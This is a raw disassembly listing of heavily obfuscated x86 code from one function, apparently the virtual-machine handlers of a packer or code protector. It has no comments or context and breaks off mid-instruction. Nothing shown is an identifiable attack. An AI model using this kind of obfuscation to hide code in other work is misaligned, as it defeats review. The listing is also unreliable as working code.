mov eax, [esp-6EF0h+arg_6EE8] push edx mov edx, esp add edx, 4 add edx, 4 push edx push [esp-6EE8h+arg_6EE4] jmp loc_58946B ; --------------------------------------------------------------------------- loc_58D618: ; CODE XREF: sub_581EE9+728Cj push ecx mov ecx, 1 sub ebp, 1DB6724h sub ebp, ecx add ebp, 1DB6724h mov ecx, [esp-6EF2h+arg_6EE8+2] add esp, 4 sub esp, 4 jmp loc_58781D ; --------------------------------------------------------------------------- loc_58D63D: ; CODE XREF: sub_581EE9+48BFj sub ecx, 38236B3Fh pop edx sub eax, 7E0218C6h sub eax, 79C7085Eh sub eax, ecx jmp loc_58A747 ; --------------------------------------------------------------------------- loc_58D655: ; CODE XREF: sub_581EE9+9A9Aj push 4243h mov [esp-6EEEh+arg_6EE4+2], ebx jmp loc_587A9E ; --------------------------------------------------------------------------- loc_58D662: ; CODE XREF: sub_581EE9+7F60j pop ebp add ebp, 0E015782h pop edi add edx, ebp jmp loc_58C6EE ; --------------------------------------------------------------------------- loc_58D671: ; DATA XREF: sub_581EE9+3D37o lodsb sub al, 9Bh push 3B57h mov [esp-6E92h+arg_6E8A], ebx mov bh, 2Bh inc bh neg bh add bh, 56h jmp loc_586ED8 ; --------------------------------------------------------------------------- loc_58D68A: ; CODE XREF: sub_581EE9+6E2Cj push 5F80h mov dword ptr [esp-6EAAh+arg_6EA2], edx push eax jmp loc_58A1F0 ; --------------------------------------------------------------------------- loc_58D698: ; CODE XREF: sub_581EE9+B054j push ebx mov ebx, esp add ebx, 4 jmp loc_58674C ; --------------------------------------------------------------------------- loc_58D6A6: ; CODE XREF: sub_581EE9+804Bj add ebx, esi pop esi jmp loc_58CA63 ; --------------------------------------------------------------------------- loc_58D6AE: ; CODE XREF: sub_581EE9+AE96j add bp, 2B98h sub esp, 4 jmp loc_58EA49 ; --------------------------------------------------------------------------- loc_58D6BB: ; CODE XREF: sub_581EE9+A2A6j mov bl, 92h add bl, 2Fh sub ah, bl jmp loc_58A176 ; --------------------------------------------------------------------------- loc_58D6C7: ; CODE XREF: sub_581EE9+9DEDj add edx, edi pop edi push edi push eax mov eax, 1CCE6FAEh jmp loc_58BF95 ; --------------------------------------------------------------------------- loc_58D6D6: ; CODE XREF: sub_581EE9+C2BFj add ebx, 4C6312B4h add ebx, ebp push 4910h jmp loc_58EF37 ; --------------------------------------------------------------------------- loc_58D6E8: ; CODE XREF: sub_581EE9+4700j add ecx, edi sub ecx, 6AF97FBCh mov edi, [esp-6EDEh+arg_6ED6] add esp, 4 xchg ecx, [esp+0] mov esp, [esp+0] jmp loc_5862AC ; --------------------------------------------------------------------------- loc_58D701: ; CODE XREF: sub_581EE9+8CD3j pop esi shl eax, 5 and eax, 7C2C7624h shr eax, 6 add eax, 0FE5FEE32h jmp loc_590BAE ; --------------------------------------------------------------------------- loc_58D717: ; CODE XREF: sub_581EE9+D0E9j push edx mov edx, 76700B35h and edx, 18E834B7h inc edx or edx, 7C000965h or edx, 88B779Ah xor edx, 60B87532h xor edi, edx pop edx jmp loc_5901FB ; --------------------------------------------------------------------------- loc_58D73E: ; DATA XREF: sub_581EE9+3BA7o push dword ptr [edi+1Ch] popf pop ax adc byte ptr [esp-6E8Eh+arg_6E84+2], al pushf jmp loc_586E40 ; --------------------------------------------------------------------------- loc_58D74D: ; CODE XREF: sub_581EE9+E217j mov [esp-6E8Ah+arg_6E80+2], eax push eax mov eax, 5ECF4081h sub [esp-6E86h+arg_6E80+2], eax pop eax jmp loc_58DC56 ; --------------------------------------------------------------------------- loc_58D760: ; CODE XREF: sub_581EE9+524Fj sub ebp, ebx add ebp, 3C387017h pop ebx add ebx, ebp pop ebp jmp loc_58FE06 ; --------------------------------------------------------------------------- loc_58D771: ; CODE XREF: sub_581EE9+41B8j add ebp, edi pop edi push esi mov esi, 2 add ebp, esi pop esi xchg ebp, [esp-6EC6h+arg_6EBE] mov esp, [esp-6EC6h+arg_6EBE] rol byte ptr [esp-6EC6h+arg_6EBE], cl pushf jmp loc_58B82A ; --------------------------------------------------------------------------- loc_58D78C: ; CODE XREF: sub_581EE9+BDFFj pop esi push edi jmp loc_58D114 ; --------------------------------------------------------------------------- loc_58D793: ; CODE XREF: sub_581EE9+99AEj mov bl, 0B5h sub bl, 39h sub bl, 96h xor dh, bl pop ebx jmp loc_58C12A ; --------------------------------------------------------------------------- loc_58D7A3: ; CODE XREF: sub_581EE9+8F4Bj xor ebx, ecx pop ecx sub edx, ebx pop ebx add edx, eax jmp loc_58F69E ; --------------------------------------------------------------------------- loc_58D7B0: ; CODE XREF: sub_581EE9+D059j mov ebp, [esp+0] add esp, 4 push edi mov edi, 7957448Fh jmp loc_58E4F1 ; --------------------------------------------------------------------------- loc_58D7C1: ; CODE XREF: sub_581EE9+BCA7j sub edi, 0F173BF93h jmp loc_58A85C ; --------------------------------------------------------------------------- loc_58D7CC: ; CODE XREF: sub_581EE9+8F61j mov bh, ah pop eax jmp loc_58C601 ; --------------------------------------------------------------------------- loc_58D7D4: ; CODE XREF: sub_581EE9+F0A1j xor ax, si pop si add word ptr [esp-6ED2h+arg_6ECA+2], 738Dh add word ptr [esp-6ED2h+arg_6ECA+2], ax sub word ptr [esp-6ED2h+arg_6ECA+2], 738Dh pop ax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D7F3: ; CODE XREF: sub_581EE9+DC4Aj push edx mov edx, 5AA75C1Fh sub edx, 0CBF441Dh sub edx, 4DE81800h add eax, edx pop edx xor eax, [esp-6ED4h+arg_6ECA+2] jmp loc_58C978 ; --------------------------------------------------------------------------- loc_58D810: ; CODE XREF: sub_581EE9+D473j mov ebx, 0E8EF7B55h add ecx, ebx mov ebx, [esp-6ED4h+arg_6ECA+2] add esp, 4 xor esi, ecx push [esp-6ED8h+arg_6ECE+2] pop ecx add esp, 4 and eax, esi pop esi or eax, eax jz loc_588C72 sub esp, 4 mov [esp-6EDCh+arg_6ED2+2], edx sub esp, 4 jmp loc_587D9C ; --------------------------------------------------------------------------- loc_58D848: ; CODE XREF: sub_581EE9+E378j push [esp-6ED8h+arg_6ECE+2] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6ED4h+arg_6ECA+2] pop esp add eax, 4 push 444Ah jmp loc_58CB73 ; --------------------------------------------------------------------------- loc_58D86E: ; CODE XREF: sub_581EE9+ACDBj push edx sub esp, 4 jmp loc_588575 ; --------------------------------------------------------------------------- loc_58D877: ; CODE XREF: sub_581EE9+6FFAj add [esp-6ED4h+arg_6ECE+2], ebx sub [esp-6ED4h+arg_6ECE+2], 9D05D90h mov ebx, [esp-6ED4h+arg_6ECA+2] add esp, 4 mov ebx, [esp-6ED8h+arg_6ECE+2] add esp, 4 jmp loc_589D7B ; --------------------------------------------------------------------------- loc_58D897: ; CODE XREF: sub_581EE9+D2EDj add eax, 217A5E6Ch sub eax, edi sub eax, 217A5E6Ch add eax, 799F01F8h push ebx sub esp, 4 mov [esp-6ED4h+arg_6ECA+2], edx mov edx, 6A2F4939h mov ebx, 97A5BE22h add ebx, edx pop edx shl ebx, 1 xor ebx, 66E2104Dh sub eax, ebx pop ebx pop edi add ebx, 153E3869h sub ebx, eax push 7099h jmp loc_5873DA ; --------------------------------------------------------------------------- loc_58D8DA: ; CODE XREF: sub_581EE9+9473j push eax push ebx jmp loc_588275 ; --------------------------------------------------------------------------- loc_58D8E1: ; CODE XREF: sub_581EE9+CE91j add esp, 4 push ebx jmp loc_587C21 ; --------------------------------------------------------------------------- loc_58D8EA: ; CODE XREF: sub_581EE9+7814j mov eax, 0E7E5B01Fh jmp loc_589756 ; --------------------------------------------------------------------------- loc_58D8F4: ; DATA XREF: sub_581EE9+3D73o mov ax, word ptr [esp-6EDEh+arg_6ED6] push 12A5h mov [esp-6EDAh+arg_6ED2], ebx jmp loc_58A99C ; --------------------------------------------------------------------------- loc_58D905: ; CODE XREF: sub_581EE9+8EADj jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58D90A: ; CODE XREF: sub_581EE9+C910j add eax, ebx sub eax, 557C36BEh jmp loc_591942 ; --------------------------------------------------------------------------- loc_58D916: ; CODE XREF: sub_581EE9+C30Fj mov [esp-6EC2h+arg_6EBA], ecx mov ecx, 3AD0A337h xor edx, ecx pop ecx push esi mov esi, 426B4253h add edx, 5F6D5933h sub edx, esi jmp loc_58E8CA ; --------------------------------------------------------------------------- loc_58D934: ; CODE XREF: sub_581EE9+ECE9j push 30B3h mov [esp-6EBEh+arg_6EB6], ebx push 4 pop ebx sub ecx, 446A22CCh add ecx, ebx push esi push ebx mov ebx, 3BA64A63h jmp loc_589A72 ; --------------------------------------------------------------------------- loc_58D956: ; CODE XREF: sub_581EE9+DF3Aj pop esi pop ebx add ecx, 2 xor ecx, [esp-6EBEh+arg_6EB6] xor [esp-6EBEh+arg_6EB6], ecx xor ecx, [esp-6EBEh+arg_6EB6] mov esp, [esp-6EBEh+arg_6EB6] btc word ptr [esp-6EBEh+arg_6EB6], ax pushf jmp loc_591258 ; --------------------------------------------------------------------------- loc_58D972: ; CODE XREF: sub_581EE9+DD93j add esi, 13ED6C2Eh add esi, eax sub esi, 13ED6C2Eh add esi, 30543217h jmp loc_58E34F ; --------------------------------------------------------------------------- loc_58D98B: ; CODE XREF: sub_581EE9+C6B9j push eax jmp loc_586E58 ; --------------------------------------------------------------------------- loc_58D991: ; CODE XREF: sub_581EE9+EDD8j mov [esp-6EB6h+arg_6EAC+2], ecx push esp pop ecx jmp loc_58D483 ; --------------------------------------------------------------------------- loc_58D99B: ; CODE XREF: sub_581EE9+CC64j pop ebp add esi, 4 xchg esi, [esp-6EBAh+arg_6EB2] jmp loc_58ED5A ; --------------------------------------------------------------------------- loc_58D9A7: ; CODE XREF: sub_581EE9+85A4j mov edx, 6B4F5892h jmp loc_58F17E ; --------------------------------------------------------------------------- loc_58D9B1: ; CODE XREF: sub_581EE9+CDA3j mov esi, 1C6235D6h jmp loc_58CC5B ; --------------------------------------------------------------------------- loc_58D9BB: ; CODE XREF: sub_581EE9+8302j push edx mov edx, 4 add ebp, edx mov edx, [esp-6EECh+arg_6EE4] add esp, 4 add ebp, 2 xor ebp, [esp-6EF0h+arg_6EE8] xor [esp-6EF0h+arg_6EE8], ebp jmp loc_58CB3C ; --------------------------------------------------------------------------- loc_58D9D7: ; CODE XREF: sub_581EE9+7407j push eax push ebx jmp loc_58FD55 ; --------------------------------------------------------------------------- loc_58D9DE: ; CODE XREF: sub_581EE9+C39Ej mov ecx, esp jmp loc_586831 ; --------------------------------------------------------------------------- loc_58D9E5: ; CODE XREF: sub_581EE9+EC8Fj mov dword ptr [esp-6EAAh+arg_6EA2], esi mov esi, esp push eax mov eax, 7D9A1661h xchg eax, ecx not ecx xchg eax, ecx dec eax jmp loc_590113 ; --------------------------------------------------------------------------- loc_58D9FA: ; DATA XREF: sub_581EE9+3D07o mov ax, word ptr [esp-6EA6h+arg_6E9E] push 0F9Eh mov [esp-6EA2h+arg_6E9A], esi mov esi, esp add esi, 4 push ebx mov ebx, 450E1399h push esi sub esp, 4 mov [esp-6E96h+arg_6E8E], edx mov edx, 65B71320h neg edx jmp loc_58DEDF ; --------------------------------------------------------------------------- loc_58DA27: ; CODE XREF: sub_581EE9+65BDj mov eax, [esp-6EF6h+arg_6EEC+2] jmp loc_588CDC ; --------------------------------------------------------------------------- loc_58DA2F: ; CODE XREF: sub_581EE9+BBE5j mov [esp-6EF6h+arg_6EEC+2], eax sub [esp-6EF6h+arg_6EEC+2], 3C146A47h push [esp-6EF6h+arg_6EEC+2] pop edx add esp, 4 sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], ebx mov ebx, 7B0C768Fh inc ebx or ebx, 93F653Ah and ebx, 668E5317h add ebx, 0DA061735h push ebp mov ebp, 67DF6007h sub edx, ebp pop ebp jmp loc_588F2D ; --------------------------------------------------------------------------- loc_58DA6F: ; CODE XREF: sub_581EE9+879Aj add ecx, 32D1611Ah sub ecx, 36D04C0Dh add ecx, eax jmp loc_5896BC ; --------------------------------------------------------------------------- loc_58DA82: ; CODE XREF: sub_581EE9+CC56j sub edi, eax jmp loc_58DF44 ; --------------------------------------------------------------------------- loc_58DA89: ; CODE XREF: sub_581EE9+C26Fj push esi jmp loc_588962 ; --------------------------------------------------------------------------- loc_58DA8F: ; CODE XREF: sub_581EE9+90F4j mov eax, [esp-6EE0h+arg_6ED6+2] add esp, 4 xchg esi, [esp-6EE4h+arg_6EDC] mov esp, [esp-6EE4h+arg_6EDC] jmp loc_58E9FD ; --------------------------------------------------------------------------- loc_58DAA3: ; CODE XREF: sub_581EE9+CEEDj add esp, 4 xor ebp, [esp-6EE8h+arg_6EE0] xor [esp-6EE8h+arg_6EE0], ebp jmp loc_58E855 ; --------------------------------------------------------------------------- loc_58DAB1: ; CODE XREF: sub_581EE9+7781j pop esi jmp loc_58ECC2 ; --------------------------------------------------------------------------- loc_58DAB7: ; CODE XREF: sub_581EE9+8F7Ej xchg ecx, [esp-6ED0h+arg_6EC6+2] pop esp sub bl, 81h jmp loc_58D327 ; --------------------------------------------------------------------------- loc_58DAC3: ; CODE XREF: sub_581EE9+C92Bj add esi, 3FE21FA4h pop ebp xchg esi, [esp-6ED8h+arg_6ECE+2] pop esp jmp loc_58DA2F ; --------------------------------------------------------------------------- loc_58DAD3: ; CODE XREF: sub_581EE9+B49Fj pop ebx jmp loc_58F70C ; --------------------------------------------------------------------------- loc_58DAD9: ; CODE XREF: sub_581EE9+C73Fj add esi, edx jmp loc_5872F7 ; --------------------------------------------------------------------------- loc_58DAE0: ; CODE XREF: sub_581EE9+6DE3j add edi, 4 add edi, 4 xchg edi, [esp-6EACh+arg_6EA4] pop esp jmp loc_589005 ; --------------------------------------------------------------------------- loc_58DAF5: ; CODE XREF: sub_581EE9+43E4j mov ebx, edx jmp loc_5918F8 ; --------------------------------------------------------------------------- loc_58DAFC: ; DATA XREF: sub_581EE9+3D13o push eax mov eax, 38h push ebx jmp loc_587DE5 ; --------------------------------------------------------------------------- loc_58DB08: ; CODE XREF: sub_581EE9+63E4j mov ebx, 2295302Dh inc ebx push esi mov esi, 0 sub esi, ebx jmp loc_58FD07 ; --------------------------------------------------------------------------- loc_58DB1B: ; CODE XREF: sub_581EE9+BF0Dj add eax, ebp pop ebp push ecx push ebp mov ebp, 79025625h not ebp inc ebp xor ebp, 0E754C42Eh push esi mov esi, ebp mov ecx, esi mov esi, [esp-6ECCh+arg_6EC2+2] push ebx jmp loc_58C1D7 ; --------------------------------------------------------------------------- loc_58DB3C: ; CODE XREF: sub_581EE9+94B1j add [esp-6E82h+arg_6E7C+2], ecx add [esp-6E82h+arg_6E7C+2], 6A0C491Fh jmp loc_58800F ; --------------------------------------------------------------------------- loc_58DB4D: ; CODE XREF: sub_581EE9+CF07j xor al, ch push dword ptr [esp-6E82h+arg_6E7A] mov ecx, [esp-6E7Eh+arg_6E76] push edi mov edi, esp add edi, 4 push 2B7Ch jmp loc_58B303 ; --------------------------------------------------------------------------- loc_58DB68: ; CODE XREF: sub_581EE9+EDFCj mov [esp-6E76h+arg_6E6E], edx mov edx, esp add edx, 4 jmp loc_5874C0 ; --------------------------------------------------------------------------- loc_58DB78: ; CODE XREF: sub_581EE9+4A50j push [esp-6ED0h+arg_6EC6+2] mov edx, [esp-6ECCh+arg_6EC2+2] add esp, 4 jmp loc_58B30B ; --------------------------------------------------------------------------- loc_58DB86: ; CODE XREF: sub_581EE9+EADEj shl edi, 1 neg edi xor edi, 73F42055h jmp loc_58D7C1 ; --------------------------------------------------------------------------- loc_58DB95: ; CODE XREF: sub_581EE9+8D1Dj pop edx mov eax, [esp-6ED4h+arg_6ECA+2] add esp, 4 add eax, 4 push edi mov edi, 2 add eax, 2C813B4Ah add eax, edi sub eax, 2C813B4Ah pop edi xchg eax, [esp-6ED8h+arg_6ECE+2] jmp loc_587197 ; --------------------------------------------------------------------------- loc_58DBBC: ; CODE XREF: sub_581EE9+6CE1j mov edx, 3EB97AF3h shr edx, 4 and edx, 6F5A0B3Bh neg edx sub edx, 0FFFFFFFFh dec edx push ecx mov ecx, 15786641h neg ecx sub ecx, 78124030h dec ecx shl ecx, 7 sub ecx, 463332DEh xor ecx, 0ECBAF9Dh sub edx, ecx pop ecx xor edi, edx pop edx sub eax, edi push [esp-6F12h+arg_6F0A] jmp loc_5885E5 ; --------------------------------------------------------------------------- loc_58DBFE: ; CODE XREF: sub_581EE9+65F5j add al, 0D1h jmp loc_58D2EE ; --------------------------------------------------------------------------- loc_58DC05: ; CODE XREF: sub_581EE9+4CBFj add esp, 4 or edx, eax shl edx, 1 jmp loc_588707 ; --------------------------------------------------------------------------- loc_58DC11: ; CODE XREF: sub_581EE9+8504j add dl, 0D0h jmp loc_58BFA1 ; --------------------------------------------------------------------------- loc_58DC19: ; CODE XREF: sub_581EE9+6EA3j xchg eax, [esp-6EB0h+arg_6EA8] pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58DC22: ; DATA XREF: sub_581EE9+3BFBo mov ax, word ptr [esp-6EB4h+arg_6EAC] push 1EBAh mov [esp-6EB0h+arg_6EA8], edx push esp jmp loc_58F6A4 ; --------------------------------------------------------------------------- loc_58DC34: ; CODE XREF: sub_581EE9+AB02j mov eax, 7694E7Dh add ebp, eax pop eax neg ebp jmp loc_58C23C ; --------------------------------------------------------------------------- loc_58DC43: ; CODE XREF: sub_581EE9+9B44j mov cl, 52h sub bl, cl pop cx jmp loc_58CB30 ; --------------------------------------------------------------------------- loc_58DC4E: ; CODE XREF: sub_581EE9+C0EDj mov [esp-6EB4h+arg_6EAC], ecx jmp loc_587719 ; --------------------------------------------------------------------------- loc_58DC56: ; CODE XREF: sub_581EE9+B872j push [esp-6E8Ah+arg_6E80+2] push [esp-6E86h+arg_6E7C+2] pop edx add esp, 4 push 329Eh mov [esp-6E86h+arg_6E7C+2], esi mov esi, esp jmp loc_586DAB ; --------------------------------------------------------------------------- loc_58DC72: ; CODE XREF: sub_581EE9+BE07j mov [esp-6E86h+arg_6E7C+2], ecx mov ecx, 35A45093h jmp loc_586AEB ; --------------------------------------------------------------------------- loc_58DC7F: ; CODE XREF: sub_581EE9+4207j mov eax, ebp pop ebp jmp loc_58F850 ; --------------------------------------------------------------------------- loc_58DC87: ; CODE XREF: sub_581EE9+835Aj mov cl, 5 add al, cl pop cx add al, bl sub al, 5 sub al, 22h jmp loc_58E64D ; --------------------------------------------------------------------------- loc_58DC98: ; CODE XREF: sub_581EE9+B118j xchg ebp, [esp-6E86h+arg_6E7C+2] pop esp jmp loc_58869B ; --------------------------------------------------------------------------- loc_58DCA1: ; CODE XREF: sub_581EE9+E509j mov [esp-6E8Ah+arg_6E80+2], ebp mov ebp, 6DCB55D8h xor ebp, edx jmp loc_5877B0 ; --------------------------------------------------------------------------- loc_58DCB0: ; CODE XREF: sub_581EE9+7F19j push edi push esp mov edi, [esp-6E8Ah+arg_6E80+2] add esp, 4 sub esp, 4 mov [esp-6E8Ah+arg_6E80+2], ebp push ecx mov ecx, 489B0434h not ecx inc ecx push esi mov esi, 6A79207Eh not esi dec esi jmp loc_5869E9 ; --------------------------------------------------------------------------- loc_58DCD5: ; CODE XREF: sub_581EE9+9E99j pop eax jmp loc_58901F ; --------------------------------------------------------------------------- loc_58DCDB: ; CODE XREF: sub_581EE9+AD1Ej pop edi push eax push [esp-6ECEh+arg_6ECA] jmp loc_58B4AA ; --------------------------------------------------------------------------- loc_58DCE6: ; CODE XREF: sub_581EE9+E838j mov ecx, esi jmp loc_58D78C ; --------------------------------------------------------------------------- loc_58DCED: ; CODE XREF: sub_581EE9+8F6Dj sub esp, 4 jmp loc_58DC72 ; --------------------------------------------------------------------------- loc_58DCF5: ; CODE XREF: sub_581EE9+A217j xor esi, [esp-6ECCh+arg_6EC2+2] jmp loc_58FB8C ; --------------------------------------------------------------------------- loc_58DCFD: ; CODE XREF: sub_581EE9+98DAj not ch sub esp, 2 mov word ptr [esp-6EBEh+arg_6EB6], dx mov dl, 7Ch add ch, dl pop dx sub al, 0E0h sub al, ch add al, 0E0h pop ecx pop ebx push edx jmp loc_58DDA8 ; --------------------------------------------------------------------------- loc_58DD1D: ; CODE XREF: sub_581EE9+E225j push 31118AEh jmp loc_58B1D5 ; --------------------------------------------------------------------------- loc_58DD27: ; CODE XREF: sub_581EE9+8750j mov ebp, ecx pop ecx add esi, 77BA4BCCh jmp loc_59175B ; --------------------------------------------------------------------------- loc_58DD35: ; CODE XREF: sub_581EE9+50BEj neg ebp sub ebp, 9A58B721h sub ebx, ebp jmp loc_5906E6 ; --------------------------------------------------------------------------- loc_58DD44: ; CODE XREF: sub_581EE9+8737j push edx mov dl, 7Fh not dl shr dl, 6 jmp loc_58C915 ; --------------------------------------------------------------------------- loc_58DD51: ; CODE XREF: sub_581EE9+F27Ej pop ebx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58DD57: ; CODE XREF: sub_581EE9+AE64j mov eax, 180B5F86h neg eax shr eax, 1 xor eax, 46422551h jmp loc_58A7F9 ; --------------------------------------------------------------------------- loc_58DD6A: ; CODE XREF: sub_581EE9+52A9j mov [esp-6EDCh+arg_6ED2+2], edx push esp pop edx push esi mov esi, 4 add edx, esi mov esi, [esp-6ED8h+arg_6ECE+2] push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp-6ED4h+arg_6ECA+2] pop esp jmp loc_58F0B7 ; --------------------------------------------------------------------------- loc_58DD95: ; CODE XREF: sub_581EE9+85B6j mov ch, 7Bh sub bl, ch pop cx jmp loc_58EA15 ; --------------------------------------------------------------------------- loc_58DDA0: ; DATA XREF: sub_581EE9+3C0Bo lodsd xor eax, ebx jmp loc_58777C ; --------------------------------------------------------------------------- loc_58DDA8: ; CODE XREF: sub_581EE9+BE2Fj mov dh, 23h xor dh, 0B0h add bl, dh jmp loc_5916DD ; --------------------------------------------------------------------------- loc_58DDB4: ; CODE XREF: sub_581EE9+5392j mov edx, 489675D4h push edi jmp loc_58E5D9 ; --------------------------------------------------------------------------- loc_58DDBF: ; CODE XREF: sub_581EE9+3F6Aj pop eax add bl, al jmp loc_58678D ; --------------------------------------------------------------------------- loc_58DDC7: ; CODE XREF: sub_581EE9+5C74j mov cl, 3Ch neg cl xor cl, 89h sub dl, 5Ah add dl, cl add dl, 5Ah mov ecx, [esp-6EC6h+arg_6EBE] add esp, 4 or dl, 7Dh xor dl, 0BEh push cx mov ch, 9Bh xor dl, ch jmp loc_58CDA4 ; --------------------------------------------------------------------------- loc_58DDF0: ; CODE XREF: sub_581EE9+6ABAj xor ebp, 5B15FEB9h jmp loc_58DB1B ; --------------------------------------------------------------------------- loc_58DDFB: ; CODE XREF: sub_581EE9+4978j sub eax, ebx pop ebx xchg eax, [esp-6ECAh+arg_6EC2] pop esp jmp loc_58D3F6 ; --------------------------------------------------------------------------- loc_58DE07: ; CODE XREF: sub_581EE9+5DABj mov ebp, 24304576h jmp loc_58C4FD ; --------------------------------------------------------------------------- loc_58DE11: ; CODE XREF: sub_581EE9+F79Aj pop eax sub ax, bp pop ebp push small 1087h mov word ptr [esp-6EC8h+arg_6EBE+2], si push small 2F33h mov si, word ptr [esp-6EC6h+arg_6EBE] jmp loc_58D443 ; --------------------------------------------------------------------------- loc_58DE2B: ; CODE XREF: sub_581EE9+DC95j mov [esp-6EC6h+arg_6EBE], ebp jmp loc_589C89 ; --------------------------------------------------------------------------- loc_58DE33: ; CODE XREF: sub_581EE9+E87Dj pop [esp-6EC6h+arg_6EBE] jmp loc_58B5BC ; --------------------------------------------------------------------------- loc_58DE3B: ; CODE XREF: sub_581EE9+8419j pop ebx sub ebp, ecx push [esp-6ECCh+arg_6EC2+2] jmp loc_589CB1 ; --------------------------------------------------------------------------- loc_58DE46: ; CODE XREF: sub_581EE9+51BDj bswap eax push esi push esp mov esi, [esp-6EF0h+arg_6EE8] add esp, 4 push ecx jmp loc_590B90 ; --------------------------------------------------------------------------- loc_58DE59: ; CODE XREF: sub_581EE9+7743j mov [esp-6EC0h+arg_6EB6+2], esi jmp loc_58AF4E ; --------------------------------------------------------------------------- loc_58DE61: ; CODE XREF: sub_581EE9+4BFDj sub edx, 491601CDh add edx, ecx add edx, 491601CDh pop ecx add eax, edx pop edx mov esi, [esp-6ED2h+arg_6ECA] add esp, 4 push 446Eh jmp loc_585F00 ; --------------------------------------------------------------------------- loc_58DE83: ; CODE XREF: sub_581EE9+3ED9j add ecx, 22C90382h push ecx xchg ebp, [esp-6ECCh+arg_6EC2+2] jmp loc_58BEB6 ; --------------------------------------------------------------------------- loc_58DE92: ; CODE XREF: sub_581EE9+C1AEj add edi, ebx pop ebx add edi, 4 xchg edi, [esp-6ED0h+arg_6EC6+2] pop esp push ecx mov ecx, 2 jmp loc_5877E9 ; --------------------------------------------------------------------------- loc_58DEA7: ; CODE XREF: sub_581EE9+F645j xor eax, ebp jmp loc_58634C ; --------------------------------------------------------------------------- loc_58DEAE: ; CODE XREF: sub_581EE9+8A12j add eax, esi pop esi push 5886h mov [esp-6EC6h+arg_6EBE], ecx mov ecx, 1B0831B3h neg ecx shl ecx, 4 shl ecx, 3 sub ecx, 59B96C8Eh push edi mov edi, 38D47D3Fh jmp loc_586207 ; --------------------------------------------------------------------------- loc_58DED7: ; CODE XREF: sub_581EE9+B064j add esp, 4 jmp loc_58CEF1 ; --------------------------------------------------------------------------- loc_58DEDF: ; CODE XREF: sub_581EE9+BB39j sub edx, 529FABC8h mov esi, edx pop edx jmp loc_58E96D ; --------------------------------------------------------------------------- loc_58DEED: ; CODE XREF: sub_581EE9+9370j sub ecx, 0AE31209h sub ecx, 1DF27CBh jmp loc_58F2E3 ; --------------------------------------------------------------------------- loc_58DEFE: ; CODE XREF: sub_581EE9+6A32j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EBAh+arg_6EB2] pop esp push ecx mov ecx, 4 sub edx, 6C6731E1h add edx, ecx add edx, 6C6731E1h pop ecx xchg edx, [esp-6EBEh+arg_6EB6] pop esp jmp loc_5867C1 ; --------------------------------------------------------------------------- loc_58DF2A: ; CODE XREF: sub_581EE9+F8A1j mov ebp, esp add ebp, 4 sub ebp, 2 xchg ebp, [esp-6EC2h+arg_6EBA] mov esp, [esp-6EC2h+arg_6EBA] mov word ptr [esp-6EC2h+arg_6EBA], bx jmp loc_587D7D ; --------------------------------------------------------------------------- loc_58DF44: ; CODE XREF: sub_581EE9+BB9Bj xchg eax, edi pop edi push 6427h mov [esp-6EC0h+arg_6EB6+2], edx mov edx, 0EF6E2C42h sub eax, edx pop edx add ebx, eax pop eax add ebx, 2 xor ebx, [esp-6EC8h+arg_6EBE+2] xor [esp-6EC8h+arg_6EBE+2], ebx xor ebx, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] jmp loc_5885DC ; --------------------------------------------------------------------------- push ebx jmp loc_58F9AD ; --------------------------------------------------------------------------- loc_58DF76: ; CODE XREF: sub_581EE9+80F2j pop edx jmp loc_587C93 ; --------------------------------------------------------------------------- loc_58DF7C: ; CODE XREF: sub_581EE9+7443j inc edx sub edx, 20010E0Bh sub esi, edx pop edx jmp loc_58FA60 ; --------------------------------------------------------------------------- loc_58DF8B: ; CODE XREF: sub_581EE9+604Aj push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp push edi sub esp, 4 mov [esp-6EDEh+arg_6ED6], edx jmp loc_58EF1B ; --------------------------------------------------------------------------- loc_58DFA6: ; CODE XREF: sub_581EE9+8FABj add esp, 4 jmp loc_590FDE ; --------------------------------------------------------------------------- loc_58DFAE: ; CODE XREF: sub_581EE9+C3D7j dec eax not eax sub eax, 3D1B4DB8h not eax add eax, 0A9B9B022h jmp loc_590B0C ; --------------------------------------------------------------------------- loc_58DFC2: ; CODE XREF: sub_581EE9+C7E2j pop ecx xor ecx, 75944CABh jmp loc_58B53B ; --------------------------------------------------------------------------- loc_58DFCE: ; CODE XREF: sub_581EE9+71F4j movzx eax, al push 38F5h jmp loc_58DC4E ; --------------------------------------------------------------------------- loc_58DFDB: ; CODE XREF: sub_581EE9+7EF6j push 6F90h mov [esp+0], edx push esp pop edx push 5FA6h mov [esp-6E8Ch+arg_6E84], ecx mov ecx, 4 jmp loc_58BB3E ; --------------------------------------------------------------------------- loc_58DFF7: ; CODE XREF: sub_581EE9+FAEAj push [esp-6E8Ch+arg_6E84] push [esp-6E88h+arg_6E80] pop eax add esp, 4 sub esp, 4 mov [esp-6E88h+arg_6E80], edi mov edi, esp jmp loc_58F1DB ; --------------------------------------------------------------------------- loc_58E014: ; CODE XREF: sub_581EE9+F3C4j and ecx, eax pop eax shr ecx, 0Bh push 7008h jmp loc_58F039 ; --------------------------------------------------------------------------- loc_58E024: ; CODE XREF: sub_581EE9+DC74j push edx mov edx, 2 sub ebx, 165C5825h jmp loc_590A2A ; --------------------------------------------------------------------------- loc_58E035: ; CODE XREF: sub_581EE9+E5A9j pop ecx add edx, ebp mov ebp, [esp-6E88h+arg_6E80] add esp, 4 sub edx, 41AA6475h add edx, ecx jmp loc_58E548 ; --------------------------------------------------------------------------- loc_58E04B: ; CODE XREF: sub_581EE9+8802j pop ebx pop [esp-6EC0h+arg_6EB6+2] pop esp or word ptr [esp-6EC8h+arg_6EBE+2], ax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58E05A: ; CODE XREF: sub_581EE9+606Fj mov edi, 5ED7679h push edx mov edx, 46580F7Fh jmp loc_5870B2 ; --------------------------------------------------------------------------- loc_58E06A: ; CODE XREF: sub_581EE9+DCE0j pop edi add ebx, esi pop esi jmp loc_58C105 ; --------------------------------------------------------------------------- loc_58E073: ; CODE XREF: sub_581EE9+599Aj add 